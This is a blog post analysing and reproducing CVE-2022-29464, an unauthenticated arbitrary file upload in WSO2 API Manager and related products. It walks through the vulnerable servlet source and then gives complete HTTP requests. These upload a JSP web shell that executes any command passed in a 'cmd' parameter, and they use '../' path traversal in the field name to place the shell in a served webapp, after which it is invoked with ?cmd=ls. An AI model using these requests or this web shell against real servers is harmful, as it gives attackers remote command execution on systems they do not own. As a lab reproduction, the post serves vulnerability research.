Post

Wso2 Fileupload Arbitrary File Upload Vulnerability Cve 2022 29464

Wso2 Fileupload Arbitrary File Upload Vulnerability Cve 2022 29464

WSO2 fileupload any file upload vulnerability CVE-2022-29464

Vulnerability Description

CVE-2022-29464 is a serious vulnerability in WSO2 discovered by Orange Tsai.

Vulnerability Impact

WSO2 API Manager 2.2.0 and above

WSO2 Identity Server 5.2.0 and above

WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0

WSO2 Identity Server as Key Manager 5.3.0 and above

WSO2 Enterprise Integrator 6.2.0 and above

Environment construction

https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip

https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip

Vulnerability reappears

After downloading releases, enter the bin directory, execute the api.manager.sh file, and enable debug to facilitate remote debugging.

img

Open product-apim-4.0.0, download dependencies, connect to Debug for debugging and analysis

img

After running, visit localhost:9443. The build is completed as follows! img

In the configuration file identity.xml we can see that there is no permission authentication in the route /fileupload, and the corresponding Servlet is FileUploadServlet

img

The file is uploaded as a POST request, and the corresponding processing method is doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)

1
2
3
4
5
6
7
8
9
10
11
protected void doPost(HttpServletRequest request,
                          HttpServletResponse response) throws ServletException, IOException {

        try {
            fileUploadExecutorManager.execute(request, response);
        } catch (Exception e) {
            String msg = "File upload failed ";
            log.error(msg, e);
            throw new ServletException(e);
        }
    }

Continue downward and skip the process of calling the method

1
2
3
4
5
execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)
startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)
execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)

img

img

Finally, we came to the location where the vulnerability occurred org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute

Here we construct the request package and upload the file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

img

When uploading, the file name is 1.jsp. The target of successfully uploading will return the uuid value. During the debugging process, we can find that the file is uploaded in a certain directory.

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {

	@Override
	public boolean execute(HttpServletRequest request,
			HttpServletResponse response) throws CarbonException, IOException {
		PrintWriter out = response.getWriter();
        try {
        	Map fileResourceMap =
                (Map) configurationContext
                        .getProperty(ServerConstants.FILE_RESOURCE_MAP);
        	if (fileResourceMap == null) {
        		fileResourceMap = new TreeBidiMap();
        		configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,
                                             fileResourceMap);
        	}
            List<FileItemData> fileItems = getAllFileItems();
            //String filePaths = "";

            for (FileItemData fileItem : fileItems) {
                String uuid = String.valueOf(
                        System.currentTimeMillis() + Math.random());
                String serviceUploadDir =
                        configurationContext
                                .getProperty(ServerConstants.WORK_DIR) +
                                File.separator +
                                "extra" + File
                                .separator +
                                uuid + File.separator;
                File dir = new File(serviceUploadDir);
                if (!dir.exists()) {
                    dir.mkdirs();
                }
                File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
                try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
                    fileItem.getDataHandler().writeTo(fileOutStream);
                    fileOutStream.flush();
                }
                response.setContentType("text/plain; charset=utf-8");
                //filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";
                fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
                out.write(uuid);
            }
            //filePaths = filePaths.substring(0, filePaths.length() - 1);
            //out.write(filePaths);
            out.flush();
        } catch (Exception e) {
            log.error("File upload FAILED", e);
            out.write("<script type=\"text/javascript\">" +
                    "top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +
                    "</script>");
        } finally {
            out.close();
        }
        return true;
	}

}

img

But the file name is controllable. During the splicing process, we traverse the directory by controlling the file name, upload the file to the location we need, and find the directory that can parse the jsp file

img

Construct the request package and upload it to this directory by controlling the file name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

img

Access the uploaded file, /authenticationendpoint/xxx.jsp?cmd=ls

img

This post is licensed under CC BY 4.0 by the author.